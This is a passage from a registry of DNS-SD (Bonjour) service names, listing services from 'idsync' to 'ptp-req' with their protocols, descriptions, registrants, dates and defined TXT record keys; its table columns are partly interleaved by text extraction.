idsync SplashID Synchronization [Justin_Cepelak] [Justin_Cepelak] Defined TXT keys: Proprietary
Service
iFFL Bonjour service for
iffl communication between client [Kevin_Gregory] [Kevin_Gregory] 2016-03-20 Defined TXT keys: None
and server applications.
ifolder Published iFolder [Brady_Anderson] [Brady_Anderson] Defined TXT keys: version=?
ihouse Idle Hands iHouse Protocol [Toby_Smith] [Toby_Smith] Defined TXT keys: None
ii-drills Instant Interactive Drills [Ricky_Sharp] [Ricky_Sharp] Defined TXT keys: None
ii-konane Instant Interactive Konane [Ricky_Sharp] [Ricky_Sharp] Defined TXT keys: None
ilynx iLynX [iOS_Software] [iOS_Software] Defined TXT keys: None
im tcp Instant Messaging [RFC3861]
im udp Instant Messaging [RFC3861]
imagescal tcp ImagesCal App Data Sharing [Three_Lights_Software_LLC] [Gus_Asadi] 2014-07-22 Defined TXT keys: None
imidi iMidi [Robert_Grant] [Robert_Grant] Defined TXT keys: None
imgsync tcp Protocol synchronizing Image [Canon_Inc_2] [Kazuo_Moritomo] 2013-03-28 Defined TXT keys: srvver, mf, md, mn, tid, srv, sid, myhwa,
data imglist, devAid, serAid, vever
ims-ni tcp Noise Inspector [IMS_merilni_sistemi] [Metod_Celestina] 2012-08-24 Defined TXT keys: SN (serial number), SVER (software
version), HVER (hardware version), PVER (protocol version))
indigo-dvr Indigo Security Digital [Haram_Lee] [Haram_Lee] Defined TXT keys: Proprietary
Video Recorders
infboard tcp InfBoard interactive [Eric_Sean_Conner] [Eric_Sean_Conner] 2011-10-17 Defined TXT keys: Proprietary
whiteboard protocol
innergroup tcp Service for a Communications [Santo_Porpiglia] [Santo_Porpiglia] 2015-05-28 Defined TXT keys: None
App
inova-ontrack Inova Solutions OnTrack Defined TXT keys: None
Display Protocol
Internet-of-things (IoT) Defined TXT keys: <type>:application specific kind of
iot tcp JSON telegram service [SEVENSTAX_GmbH] [Ralf_Schwarzer] 2015-11-05 protocol; <vers>:version of the 'type'; <device>:device
descriptor
iota tcp iotaMed medical records [MITM] [Martin_Wehlou] 2011-10-18 Defined TXT keys: none
server
ipbroadcaster IP Broadcaster [base_t_Interactive] [base_t_Interactive] Defined TXT keys: None
ipspeaker IP Speaker Control Protocol [Dan_Mahn] [Dan_Mahn] Defined TXT keys: None
iqp tcp Control protocol for Phase [Phase_One] [Christopher_Jacobsen] 2018-01-16 Defined TXT keys: txtvers,mk,md,us,un,ss,auth
One devices
ir-hvac-000 tcp HVAC SMIL Server [Ingersoll_Rand_Inc] [John_Taylor] 2011-09-28 Defined TXT keys: None
irelay iRelay application discovery [Marc_Diamante] [Marc_Diamante] Defined TXT keys: Proprietary
service
irmc Intego Remote Management [Olivier_Delecluse] [Olivier_Delecluse] Defined TXT keys: RMC Client Version=<version>, MAC
Console Address=<address>
irobotmcs tcp iRobot Monitor and Control [iRobot_Corporation] [Tim_Farlow] 2013-11-07 Defined TXT keys: None
Service
irobotmcs udp iRobot Monitor and Control [iRobot_Corporation] [Tim_Farlow] 2013-11-07 Defined TXT keys: None
Service
iroid-sd tcp Iroid Data Service Discovery [iroïd] [Tom_Wagner] 2016-04-22 Defined TXT keys: none
irradiatd-iclip tcp iClip clipboard transfer [Irradiated_Software] [Thomas_Tempelmann] 2012-06-19 Defined TXT keys: none
irt-sharing tcp Image Resizer Toolbox [fnxsoftware.com] [Juan_Guerrero] 2015-06-30 Defined TXT keys: irtshrng
preview sharing service
isparx iSparx [Philipp_Dreiss] [Philipp_Dreiss] Defined TXT keys: None
ispq-vc iSpQ VideoChat [Chris_Silverberg] [Chris_Silverberg] Defined TXT keys: None
ishare iShare [Steve_Dekorte] [Steve_Dekorte] Defined TXT keys: None
isticky iSticky [Insist] [Insist] Defined TXT keys: None
istorm iStorm [Math_Game_House_Soft] [Math_Game_House_Soft] Defined TXT keys: None
isynchronize tcp iSynchronize data [Smart_Apps_LTD] [Sergey_Bolshedvorsky] 2011-10-11 Defined TXT keys: none
synchronization protocol
itap-publish tcp iTap Publishing Service [HLW_Software_Development_GmbH] [Michael_Lacher] 2011-10-11 Defined TXT keys: uuid=<unique server key>
IT-IS International Ltd. Defined TXT keys: type=<product type> configuration=<product
itis-device Device [Ben_Webster] [Ben_Webster] configuration> description=<human readable description>
version=<device and protocol version>
itsrc iTunes Socket Remote Control [Kevin_Leacock] [Kevin_Leacock] Defined TXT keys: None
ivef Inter VTS Exchange Format [Harry_ten_Berge] [Harry_ten_Berge] Defined TXT keys: None
iwork iWork Server [IGG_Software] [IGG_Software] Defined TXT keys: None
jcan Northrup Grumman/TASC/JCAN [Laurent_Mihalkovic] [Laurent_Mihalkovic] Defined TXT keys: None
Protocol
jeditx Jedit X [Satoshi_Matsumoto] [Satoshi_Matsumoto] Defined TXT keys: None
jini Jini Service Discovery [Daniel_Steinberg] [Daniel_Steinberg] Defined TXT keys: None
jmap tcp JSON Mail Access Protocol [JMAP_editor] [Robert_Norris] 2016-01-22 Defined TXT keys: None
Defined TXT keys: hash=<40hex characters> salt=<40hex
jollys keychain cloud sync characters> uuid=<40hex characters> Example:
jnx-kcsync tcp protocol [Patrick_Stein] [Patrick_Stein] 2011-10-24 hash=5e7580598c0d7064d4fc79faaeb42585e1a675f8
salt=f0164cb3a0c3d7efe75abea8fda86d2d56c8dda9
uuid=db61dc092922252e45bbb264f59147138c7fd5fa
jtag Proprietary [Uwe_Ziegler] [Uwe_Ziegler] Defined TXT keys: blocked=<name of the device>,
version=<firmware/instrument controller version>
jukebox tcp Jukebox Request Service [Gary_Giebler_2] [Gary_Giebler_2] 2011-10-18 Defined TXT keys: None
jukejoint tcp Music sharing protocol [Phrenetic_Apps_LLC] [Christopher_Pow] 2016-04-12 Defined TXT keys: none
KeynoteAccess is used for
sending remote
keynoteaccess tcp requests/responses when [Apple] [Brad_Vaughan] 2011-10-12 Defined TXT keys: None
controlling a slideshow with
Keynote Remote
KeynotePairing is used to
keynotepairing tcp pair Keynote Remote with [Apple] [Brad_Vaughan] 2011-10-12 Defined TXT keys: None
Keynote
kiwin tcp Topology Discovery [Stephen_kiwin_PALM] [Stephen_kiwin_PALM] 2015-06-30 Defined TXT keys: kiwin, top
ktp Kabira Transaction Platform [Ramiro_Sarmiento] [Ramiro_Sarmiento] Defined TXT keys: None
kyma tcp Symbolic Sound Kyma Service [Symbolic_Sound_Corporation] [Kurt_Hebel] 2018-11-28 Defined TXT keys: None
Discovery
la-maint IMP Logical Address 2013-05-24 This service name is no longer in use.
Maintenance
labyrinth udp Labyrinth local multiplayer [Andreas_Alptun] [Andreas_Alptun] Defined TXT keys: None
protocol
lan2p Lan2P Peer-to-Peer Network [Ben_Guild] [Ben_Guild] Defined TXT keys: None
Protocol
lapse Gawker [Phil_Piwonka] [Phil_Piwonka] Defined TXT keys: None
leaf Lua Embedded Application [Ico_Doornekamp] [Ico_Doornekamp] Defined TXT keys: name=<readable name> product=<product
Framework name/model> version=<version number>
lexicon Lexicon Vocabulary Sharing [Jacob_Godwin_Jones] [Jacob_Godwin_Jones] Defined TXT keys: None
liaison Liaison [Brian_Cully] [Brian_Cully] Defined TXT keys: None
Delicious Library 2
library Collection Data Sharing [William_Shipley] [William_Shipley] Defined TXT keys: None
Protocol
Protocol for setup and
libratone control of Libratone [Libratone_AS] [Claus_Jensen] 2011-10-27 Defined TXT keys: None
products
licor LI-COR Biosciences [Software_LI-COR_Biosciences] [Kevin_Ediger] 2011-10-18 Defined TXT keys: None
instrument discovery
llrp-secure RFID reader Low Level Reader [Jason_Schoon_2] [Jason_Schoon_2] Defined TXT keys: None
Protocol over SSL/TLS
lobby Gobby [Gobby_0x539] [Gobby_0x539] Defined TXT keys: None
logicnode udp Logic Pro Distributed Audio [Nikolaus_Gerteis] [Nikolaus_Gerteis] Defined TXT keys: None
lonbridge Echelon LonBridge Server [Rich_Blomseth] [Rich_Blomseth] Defined TXT keys: None
lontalk LonTalk over IP (ANSI 852) [Michael_Tennefoss] [Michael_Tennefoss] Defined TXT keys: None
lonworks Echelon LNS Remote Client [Michael_Tennefoss] [Michael_Tennefoss] Defined TXT keys: None
lsys-appserver Linksys One Application [Frank_Zerangue] [Frank_Zerangue] Defined TXT keys: path=value (relative URL) engname=value
Server API (string)
lsys-camera Linksys One Camera API [Frank_Zerangue] [Frank_Zerangue] Defined TXT keys: brand=value (string) model=value (string)
version=value (string)
Defined TXT keys: model=value (string) serial=value (sring)
lsys-ezcfg LinkSys EZ Configuration [Frank_Zerangue] [Frank_Zerangue] hwversion=value (string) swversion=value (string)
ifversion=value (string) type=value (string) mac=value (12
hex digits)
LinkSys Operations, Defined TXT keys: model=value (string) serial=value (sring)
lsys-oamp Administration, Management, [Frank_Zerangue] [Frank_Zerangue] hwversion=value (string) swversion=value (string)
and Provisioning ifversion=value (string) type=value (string) mac=value (12
hex digits)
A protocol to remotely
lumiere tcp control DMX512 devices over [Gangsta_Ltd] [Jean-Charles_Boude] 2011-10-13 Defined TXT keys: None
the network
lumis-lca tcp Lumis Cache Appliance [Lumis] [Rodrigo_Terra] 2011-10-24 Defined TXT keys: none
Protocol
lux-dtp Lux Solis Data Transport [Laurence_Flath] [Laurence_Flath] Defined TXT keys: None
Protocol
lxi LXI [Nick_Barendt_2] [Nick_Barendt_2] Defined TXT keys: txtvers, *IDN?=<response defined by IEEE
488; e.g., manufacturer, model, serial number, version>
lyrics iPod Lyrics Service [Gary_Giebler] [Gary_Giebler] Defined TXT keys: Proprietary
M30S1PT tcp Moritz30-Project Standard [Moritz30] [Matthias_Merkel] 2015-12-07 Defined TXT keys: None
protocol 1 Plain Text
M30S1PT udp Moritz30-Project Standard [Moritz30] [Matthias_Merkel] 2015-12-07 Defined TXT keys: None
protocol 1 Plain Text
macfoh MacFOH [Shaun_Wexler] [Shaun_Wexler] Defined TXT keys: None
macfoh-admin MacFOH admin services [Shaun_Wexler] [Shaun_Wexler] Defined TXT keys: None
macfoh-audio udp MacFOH audio stream [Shaun_Wexler] [Shaun_Wexler] Defined TXT keys: None
macfoh-events udp MacFOH show control events [Shaun_Wexler] [Shaun_Wexler] Defined TXT keys: None
macfoh-data udp MacFOH realtime data [Shaun_Wexler] [Shaun_Wexler] Defined TXT keys: None
macfoh-db MacFOH database [Shaun_Wexler] [Shaun_Wexler] Defined TXT keys: None
macfoh-remote MacFOH Remote [Shaun_Wexler] [Shaun_Wexler] Defined TXT keys: None
macminder Mac Minder [Luma_Code] [Luma_Code] Defined TXT keys: None
maestro Maestro Music Sharing [Luke_Steffen] [Luke_Steffen] Defined TXT keys: None
Service
magicdice Magic Dice Game Protocol [Mike_Yenco] [Mike_Yenco] Defined TXT keys: None
mandos Mandos Password Server [Mandos_Maintainers] [Mandos_Maintainers] Defined TXT keys: None
mas tcp Pravala Mobility and [Pravala_Networks_ULC] [Severn_Tsui] 2016-06-01 Defined TXT keys: None
Aggregation Service
mas udp Pravala Mobility and [Pravala_Networks_ULC] [Severn_Tsui] 2016-06-01 Defined TXT keys: None
Aggregation Service
matrix MATRIX Remote AV Switching [Ken_Jibiki] [Ken_Jibiki] Defined TXT keys: None
mavlink tcp MAVLink Micro Air Vehicle [Roderick_Mann] [Roderick_Mann] 2011-10-20 Defined TXT keys: 0
Communication Protocol
Peer to peer communication Defined TXT keys: 1 TXT record key for the RSA public key
mazepseudo-game udp between instances of the [Mad_Elf_Software_Inc.] [Kenneth_Suda] 2016-02-02 2016-03-30 used by the server instance.
Maze Pseudo game.
mbconsumer MediaBroker++ Consumer [Nate_Rivard] [Nate_Rivard] Defined TXT keys: None
mbproducer MediaBroker++ Producer [Nate_Rivard] [Nate_Rivard] Defined TXT keys: None
mbserver MediaBroker++ Server [Nate_Rivard] [Nate_Rivard] Defined TXT keys: None
mconnect ClairMail Connect [Sachin_Desai] [Sachin_Desai] Defined TXT keys: None
mcrcp MediaCentral [equinux] [equinux] Defined TXT keys: None
MediaBoardONE Asset and
mediaboard1 Information Manager data [Thomas_K_Fischer] [Thomas_K_Fischer] Defined TXT keys: None
sharing and synchronization
protocol
mediatap tcp Mediatap streaming protocol [Mediatap_GbR] [Mario_Pörner] 2011-10-11 Defined TXT keys: Proprietary
mercurydock tcp Mercury Dock Assistant [Spider_Electronics] [Kenny_Millar] 2014-03-10 Defined TXT keys: status, signature, ver
mesamis Mes Amis [David_Priest] [David_Priest] Defined TXT keys: None
mi-raysat Mental Ray for Maya [Autodesk] [Autodesk] Defined TXT keys: None
mieleacs tcp Protocol for connected [Miele_and_Cie._KG] [Nils_Langhammer] 2018-04-20 Defined TXT keys: txtvers and proprietary keys
accessories
mieleathome tcp Miele@home Protocol [Miele_and_Cie._KG] [Nils_Langhammer] 2014-03-13 Defined TXT keys: txtvers and proprietary keys
mieleprof tcp Miele protocol for prof. [Miele_and_Cie._KG] [Nils_Langhammer] 2018-04-20 Defined TXT keys: txtvers and proprietary keys
appliances
mielesemiprof tcp Miele protocol for semi [Miele_and_Cie._KG] [Nils_Langhammer] 2018-04-20 Defined TXT keys: txtvers and proprietary keys
prof. appliances
A Medical Interoperability
Service Type, used to Defined TXT keys:
mist tcp identify medical devices [Jon_Griffeth] [Jon_Griffeth] 2017-01-12 https://www.praesentia.com/medkit/mist-service-type (dn dt md
providing network mf pr sn vn)
interfaces.
Provides a client with
mmm tcp access to the Mathematical [Phillip_Hallam-Baker] [Phillip_Hallam-Baker] 2015-11-18 Defined TXT keys: None
Mesh, a user-focused PKI.
A Remote Control Application
mn-passage tcp service used to control [Midnight_Oil_Enterprises_LLC] [Dan_Corkill] 2013-07-09 Defined TXT keys: inherited from bonjour/iOS multipeer
Computers on a Local Area connectivity
Network
A Remote Control Application
mn-passage udp service used to control [Midnight_Oil_Enterprises_LLC] [Dan_Corkill] 2013-07-09 Defined TXT keys: inherited from bonjour/iOS multipeer
Computers on a Local Area connectivity
Network
modolansrv modo LAN Services [Matt_Craig] [Matt_Craig] Defined TXT keys: None
Authentication service for
mogeneti-auth tcp Mogeneti Software [Mogeneti] [Bart_Rijpers] 2012-09-26 Defined TXT keys: none
Applications
moncon udp Sonnox MCON monitor [Sonnox_Ltd] [Nicolas_Haynes] 2018-08-15 Defined TXT keys: None
controller protocol
moneysync SplashMoney Synchronization [Justin_Cepelak] [Justin_Cepelak] Defined TXT keys: Proprietary
Service
MoneyWorks Gold and
moneyworks MoneyWorks Datacentre [Rowan_Daniell] [Rowan_Daniell] Defined TXT keys: None
network service
moodring Bonjour Mood Ring tutorial [Daniel_Steinberg] [Daniel_Steinberg] Defined TXT keys: txtvers=1 mood=<ascii digit from 0-4>
program
mother Mother script server [Jonathan] [Jonathan] Defined TXT keys: user, ssl
protocol
movieslate MovieSlate digital [Cliff_Joyce] [Cliff_Joyce] Defined TXT keys: Proprietary
clapperboard
mp3sushi MP3 Sushi [Alexandre_Carlhian] [Alexandre_Carlhian] Defined TXT keys: None
mqtt IBM MQ Telemetry Transport [AndySC] [AndySC] Defined TXT keys: topics=<open topic to subscribe to for
Broker information>, eg topic=/info
mslingshot Martian SlingShot [Martin_Technology] [Martin_Technology] Defined TXT keys: displayName, passwordRequired,
acceptsUpdates
msrps tcp MSRP protocol over TLS 2014-04-25 [RFC4976] Defined TXT keys:
mumble Mumble VoIP communication [Thorvald_Natvig] [Thorvald_Natvig] Defined TXT keys: None
protocol
musicmachine Protocol for a distributed [Johan_Mjones] [Johan_Mjones] Defined TXT keys: apiversion, passreq
music playing service
mysync MySync Protocol [Martin_Redington] [Martin_Redington] Defined TXT keys: None
mttp MenuTunes Sharing [iThink_Software] [iThink_Software] Defined TXT keys: None
mxim-art2 Maxim Integrated Products [Zach_Metzinger] [Zach_Metzinger] Defined TXT keys: Proprietary
Automated Roadtest Mk II
mxim-ice Maxim Integrated Products [Zach_Metzinger] [Zach_Metzinger] Defined TXT keys: Proprietary
In-circuit Emulator
Defined TXT keys: None mxs.system.id=<system id>
mxs MatrixStore [Object_Matrix] [Object_Matrix] mxs.system.version=<system layer version>
mxs.cluster.id=<cluster id the system belongs to>
naio tcp NetAcquire server [NetAcquire_Corporation] [David_Hauck] 2018-06-20 Defined TXT keys: txtvers, fn
input/output protocol
nasmon tcp Proprietary communication [Infinite_Loop] [Claus_Broch2] 2012-10-09 Defined TXT keys: Proprietary
protocol for NAS Monitor
nasmon udp Proprietary communication [Infinite_Loop] [Claus_Broch2] 2012-10-09 Defined TXT keys: Proprietary
protocol for NAS Monitor
This DNS-SD service is used
by mobile clients to locate Defined TXT keys: companyfullname == The name of the company
nasunifiler tcp the Nasuni Filer (a storage [Nasuni_Corporation] [David_Shaw-Nasuni] 2016-01-22 hosting the Nasuni Filer
product) for a given
company.
ncbroadcast Network Clipboard Broadcasts [Thom_McGrath] [Thom_McGrath] Defined TXT keys: Contact The ZAZ Software <networkclipboard
at thezaz.com>
ncdirect Network Clipboard Direct [Thom_McGrath] [Thom_McGrath] Defined TXT keys: Contact The ZAZ Software <networkclipboard
Transfers at thezaz.com>
The issuer service in the
ncount-issuer tcp n-Count electronic value [n-Count_Technology_BV] [Eduard_de_Jong] 2013-01-22 Defined TXT keys: None
transfer system
ncsyncserver Network Clipboard Sync [Thom_McGrath] [Thom_McGrath] Defined TXT keys: Contact The ZAZ Software <networkclipboard
Server at thezaz.com>
nedap-aepu tcp Nedap AEOS processing unit [Nedap] [Leon_van_der_Voort_van_der_Kleij] 2014-08-28 Defined TXT keys: None
neoriders udp NeoRiders Client Discovery [Jesse_W_Towner] [Jesse_W_Towner] Defined TXT keys: None
Protocol
netready tcp UpdateLogic NetReady Device [UpdateLogic_Inc] [Chris_Nigbur] 2014-10-27 Defined TXT keys: Proprietary
Identification
netrestore NetRestore [Mike_Bombich] [Mike_Bombich] Defined TXT keys: message, status, progress
netvu-video tcp AD Group NetVu Connected [AD_Holdings] [Kelvin_Lawson] 2011-10-11 Defined TXT keys: none
Video
Proprietary communication
nextcap tcp protocol for NextCap capture [NextDay_Aps] [Claus_Broch] 2012-04-24 Defined TXT keys: Proprietary
solution
Proprietary communication
nextcap udp protocol for NextCap capture [NextDay_Aps] [Claus_Broch] 2012-04-24 Defined TXT keys: Proprietary
solution
NFS service for the domain
nfs-domainroot tcp root, the root of an [IESG] [IETF_Chair] 2012-04-24 [RFC6641] Defined TXT keys: None
organization's published
file namespace.
ngr-keydist tcp NGR Key Distribution [nyantec] [Mikael_Voss] 2017-04-18 Defined TXT keys: None
ni tcp National Instruments Network [National_Instruments] [Joshua_Prewitt] 2011-10-24 Defined TXT keys: MAC, DevClass, ProdId, ProdName, SerialNo,
Device Status, ImgPath, Comment
ni-ftp tcp NI FTP [Steve_Kille] [Steve_Kille] 2017-05-18 Defined TXT keys: None
ni-ftp udp NI FTP [Steve_Kille] [Steve_Kille] 2017-05-18 Defined TXT keys: None
ni-mail tcp NI MAIL [Steve_Kille] [Steve_Kille] 2017-05-18 Defined TXT keys: None
ni-mail udp NI MAIL [Steve_Kille] [Steve_Kille] 2017-05-18 Defined TXT keys: None
ni-rt tcp National Instruments [National_Instruments] [Joshua_Prewitt] 2011-10-24 Defined TXT keys: MAC, OS, OSVer, ProcArch
Real-Time Target
ni-sysapi tcp National Instruments System [National_Instruments] [Joshua_Prewitt] 2011-10-24 Defined TXT keys: MAC, Experts, Version
API Service
Lightweight event based
nodel tcp control protocol utilising [Lumicom] [Michael_Cartmel] 2013-02-07 Defined TXT keys: None
JavaScript Object Notation
ntlx-arch American Dynamics Intellex [Gary_Sands] [Gary_Sands] Defined TXT keys: txtvers, macaddress, protovers, model,
Archive Management Service serial
American Dynamics Intellex Defined TXT keys: txtvers, macaddress, protovers, model,
ntlx-ent Enterprise Management [Gary_Sands] [Gary_Sands] serial
Service
ntlx-video American Dynamics Intellex [Gary_Sands] [Gary_Sands] Defined TXT keys: txtvers, macaddress, protovers, model,
Video Service serial, control, event
ntx udp Tenasys [Carl_Ellis] [Carl_Ellis] Defined TXT keys: None
nusdp tcp Nuance Unity Service [Nuance_Communications_Inc] [Andrew_Andrews] 2017-04-20 Defined TXT keys: None
Discovery Protocol
oak tcp Oak Device Services [Oak_Labs_Inc.] [Flynn_Joffray] 2017-02-09 Defined TXT keys: None
oak udp Oak Device Services [Oak_Labs_Inc.] [Flynn_Joffray] 2017-02-09 Defined TXT keys: None
obf Observations Framework [Matthew_Baker] [Matthew_Baker] Defined TXT keys: version=<value>
Means for clients to locate Defined TXT keys: txtvers='1'
objective servers in an Objective [Marc_Bailey] [Marc_Bailey] type={'production'|'standby'|'test'|'demo'}
(http://www.objective.com) protocol={['SOAP'],['CORBA']} transport=['iiop']|['http']
instance.
Insecure OCP.1 protocol,
oca tcp which is the insecure TCP/IP [OCA_Alliance] [Stephan_van_Tienen] 2012-10-11 Defined TXT keys: txtvers=1 protovers=x
implementation of the Object
Control Architecture
Insecure OCP.1 protocol,
oca udp which is the insecure TCP/IP [OCA_Alliance] [Stephan_van_Tienen] 2012-10-11 Defined TXT keys: txtvers=1 protovers=x
implementation of the Object
Control Architecture
Secure OCP.1 protocol, which
ocasec tcp is the secure TCP/IP [OCA_Alliance] [Stephan_van_Tienen] 2012-10-11 Defined TXT keys: txtvers=1 protovers=x
implementation of the Object
Control Architecture
Secure OCP.1 protocol, which
ocasec udp is the secure TCP/IP [OCA_Alliance] [Stephan_van_Tienen] 2012-10-11 Defined TXT keys: txtvers=1 protovers=x
implementation of the Object
Control Architecture
ocaws tcp Insecure OCP.1 hosted on a [OCA_Alliance] [Stephan_van_Tienen] 2017-05-19 Defined TXT keys: txtvers protovers path
WebSocket
oce Oce Common Exchange Protocol [Dion_Slijp] [Dion_Slijp] Defined TXT keys: type, version
od-master OpenDirectory Master [Jason_Thorpe] [Jason_Thorpe] Defined TXT keys: None
odabsharing OD4Contact [Objective_Decision] [Objective_Decision] Defined TXT keys: None
odisk Optical Disk Sharing [Bob_Bradley_2] [Bob_Bradley_2] Defined TXT keys: sys, dkX
officetime-sync OfficeTime Synchronization [Support] [Support] Defined TXT keys: None
Protocol
ofocus-conf OmniFocus setting [Timothy_J_Wood] [Timothy_J_Wood] Defined TXT keys: None
configuration
ofocus-sync OmniFocus document [Timothy_J_Wood] [Timothy_J_Wood] Defined TXT keys: Proprietary
synchronization
Web Interface for the Open
ola tcp Lighting Architecture [Open_Lighting_Project] [Simon_Newton_2] 2013-12-09 2014-02-25 Subtypes: _www-http Defined TXT keys: None
Software
olpc-activity1 udp One Laptop per Child [One_Laptop_per_Child] [One_Laptop_per_Child] Defined TXT keys: Shared_Activity_Protocol_1.0
activity
oma-bcast-sg OMA BCAST Service Guide [Stefan_Ekenberg] [Stefan_Ekenberg] Defined TXT keys: None
Discovery Service
Open Mobile Alliance (OMA)
omadm-bootstrap tcp Device Management (DM) [Open_Mobile_Alliance] [Open_Mobile_Alliance_Device_Management_DM_Working_Group] 2011-08-19 Defined TXT keys: None
Bootstrap Server Discovery
Service
omni-bookmark OmniWeb [The_Omni_Group] [The_Omni_Group] Defined TXT keys: None
Service for remote control
omni-live of Omnisphere virtual [Glenn_Olander_2] [Glenn_Olander_2] Defined TXT keys: omni-livetxt.html
instrument
openbase OpenBase SQL Defined TXT keys: None
opencu udp Conferencing Protocol [Marc_Manthey_2] [Marc_Manthey_2] Defined TXT keys: None
openpath tcp Discovery of OpenPath [OpenPath_Security_Inc] [John_Hickey] 2018-01-11 Defined TXT keys: Proprietary
appliances
oprofile oprofile server protocol [Rob_Bradford] [Rob_Bradford] Defined TXT keys: None
oscit udp Open Sound Control Interface [Gaspard_Bucher] [Gaspard_Bucher] Defined TXT keys: None
Transfer
ovready ObjectVideo OV Ready [Gary_Myers] [Gary_Myers] Defined TXT keys: txtvers, protovers
Protocol
owhttpd OWFS (1-wire file system) [Paul_H_Alfille] [Paul_H_Alfille] Defined TXT keys: txtvers
web server
parentcontrol Remote Parental Controls [John_Scalo] [John_Scalo] Defined TXT keys: None
passwordwallet PasswordWallet Data [Sanford_Selznick] [Sanford_Selznick] Defined TXT keys: None
Synchronization Protocol
pcast Mac OS X Podcast Producer [Nick_Brosnahan] [Nick_Brosnahan] Defined TXT keys: None
Server
p2pchat udp Peer-to-Peer Chat (Sample [Roger_Pantos] [Roger_Pantos] Defined TXT keys: None
Java Bonjour application)
p2pstorage-sec tcp DataBOND p2p storage [Dell] [Jessica_Zhang] 2012-11-19 Defined TXT keys: txtvers, machineid, status
pairandshare tcp Pair & Share data protocol [Intel] [Joshua_Boelter] 2011-10-18 Defined TXT keys: Proprietary
panoply tcp Panoply multimedia composite [Natarajan_Balasundar] [Natarajan_Balasundar] Defined TXT keys: None
transfer protocol
parabay-p2p tcp Parabay P2P protocol [Vishnu_Varadaraj] [Vishnu_Varadaraj] Defined TXT keys: None
parity tcp PA-R-I-Ty (Public Address - [ims_Info] [Oskar_Persano] 2011-10-20 Defined TXT keys: Proprietary
Radio - Intercom - Telefony)
parity udp PA-R-I-Ty (Public Address - [ims_Info] [Oskar_Persano] 2011-10-20 Defined TXT keys: Proprietary
Radio - Intercom - Telefony)
pgpkey-hkp Horowitz Key Protocol (HKP) [Marc_Horowitz] [Marc_Horowitz] Defined TXT keys: None
pgpkey-http PGP Keyserver using HTTP/1.1 [Jeroen_Massar_3] [Jeroen_Massar_3] Defined TXT keys: path=<path on the server where the HKP
applications reside> normally: "path=/pks/"
pgpkey-https PGP Keyserver using HTTPS [Jeroen_Massar_3] [Jeroen_Massar_3] Defined TXT keys: path=<path on the server where the HKP
applications reside> normally: "path=/pks/"
pgpkey-ldap PGP Keyserver using LDAP [Jeroen_Massar_3] [Jeroen_Massar_3] Defined TXT keys: None
pgpkey-mailto PGP Key submission using [Jeroen_Massar_3] [Jeroen_Massar_3] Defined TXT keys: user=<user portion of the mail address>
SMTP
photoparata Photo Parata Event [Sam_Carleton] [Sam_Carleton] Defined TXT keys: None
Photography Software
photoshow tcp Show Photos over TCP [Hamed_Ishbaitah] [Hamed_Ishbaitah] 2014-07-30 Defined TXT keys: None
photosmithsync tcp Photosmith's iPad to [Photosmith] [Chris_Horne] 2011-10-27 Defined TXT keys: None
Lightroom sync protocol
pictua Pictua Intercommunication [Isaack_Rasmussen] [Isaack_Rasmussen] Defined TXT keys: None
Protocol
piesync pieSync Computer to Computer [Timothy_Wayper] [Timothy_Wayper] Defined TXT keys: None
Synchronization
piu Pedestal Interface Unit by [James_Nikolai] [James_Nikolai] Defined TXT keys: None
RPM-PSI
pkixrep Public Key Infrastructure [RFC4386]
Repository Locator Service
poch Parallel OperatiOn and [Dean_Dauger] [Dean_Dauger] Defined TXT keys: None
Control Heuristic (Pooch)
Defined TXT keys: key "txtvers" for specification versioning,
pochi tcp A presenter to audience [Ringo_Wathelet] [Ringo_Wathelet] 2018-07-11 and key "name" representing the advertising presentation
transfer service string value name for the audience application to retrieve
and display.
podcastproxy tcp Protocol for communication [Moritz_Schmale] [Moritz_Schmale] 2011-10-07 Defined TXT keys: None
between Podcast
Communication channel for
pokeeye "Poke Eye" Elgato EyeTV [Kristoffer_Lawson] [Kristoffer_Lawson] Defined TXT keys: None
remote controller
powereasy-erp PowerEasy ERP [Ulaganathan_Sriramul] [Ulaganathan_Sriramul] Defined TXT keys: ip, port, name, instance, cgi-alias,
major-version, minor-version, custom
powereasy-pos PowerEasy Point of Sale [Murthy_Parthasarathi] [Murthy_Parthasarathi] Defined TXT keys: ip, port, type, device-id, major-version,
minor-version, custom
pplayer-ctrl Piano Player Remote Control [Juraj_Zopp] [Juraj_Zopp] Defined TXT keys: Proprietary
pres tcp Presence [RFC3861]
pres udp Presence [RFC3861]
Defined TXT keys: See
http://www.xmpp.org/registrar/linklocal.html Note:
Registration updated May 2007. Was formerly listed as "iChat
AV" (Apple's IM client for Mac OS X) with TXT keys: txtvers,
port.p2pj, phsh, vc, 1st, AIM, msg, status, last When first
shipped in Mac OS X 10.2, iChat's peer-to-peer messaging
presence Peer-to-peer messaging / [XMPP_Registrar] [XMPP_Registrar] protocol was created to solve the problem of serverless
Link-Local Messaging messaging between peers on the same link. However, there is
nothing inherent in the protocol that limits it to being only
link-local; it was simply an artifact of iChat in Mac OS X
10.2 using link-local Multicast DNS to discover peers. With
the advent of Wide-Area DNS-SD, it is also possible to use
iChat's peer-to-peer messaging between machines on different
links.
print-caps Retrieve a description of a [Troy_Bergstrand] [Troy_Bergstrand] Defined TXT keys: None
device's print capabilities
printopia tcp Printopia Server [Decisive_Tactics_Inc] [Chris_Kent] 2011-10-24 2015-04-11 Defined TXT keys: uuid, vers, pvers
profilemac Profile for Mac medical [David_Sinclair_2] [David_Sinclair_2] Defined TXT keys: None
practice management software
prolog Prolog [Mike_Brady] [Mike_Brady] Defined TXT keys: version=<version number>
protonet Protonet node and service [Ali_Jelveh] [Ali_Jelveh] Defined TXT keys: version, notes
discovery protocol
psap udp Progal Service Advertising [Soren_Weber] [Soren_Weber] Defined TXT keys: c0, c1, ..., cn
Protocol
Physical Security
psia Interoperability Alliance [Frank_Yeh] [Frank_Yeh] Defined TXT keys: txtvers, protovers
Protocol
pstmailsync tcp File synchronization [Arrow_Bit_SL] [Javier_Nigro] 2012-04-26 Defined TXT keys: uuid=<unique instance identifier>
protocol for Pst Mail Sync
pstmailsync-ssl tcp Secured file synchronization [Arrow_Bit_SL] [Javier_Nigro] 2012-04-26 Defined TXT keys: uuid=<unique instance identifier>
protocol for Pst Mail Sync
ptnetprosrv2 PTNetPro Service [Apple_Computer] [Apple_Computer] Defined TXT keys: None Profiling and performance analysis
protocol for Shark 4.0 and BigTop.
ptp-init tcp Picture Transfer [Canon_Inc] [Tatsuhiko_Sakai] 2011-10-03 Defined TXT keys: srvver, mn, mf, md, srv, tid
Protocol(PTP) Initiator
ptp-req PTP Initiation Request [Mark_Wood] [Mark_Wood] Defined TXT keys: txtvers, guid, c0, c1, c2, ..., where the
Protocol number of c_n attributes is variable
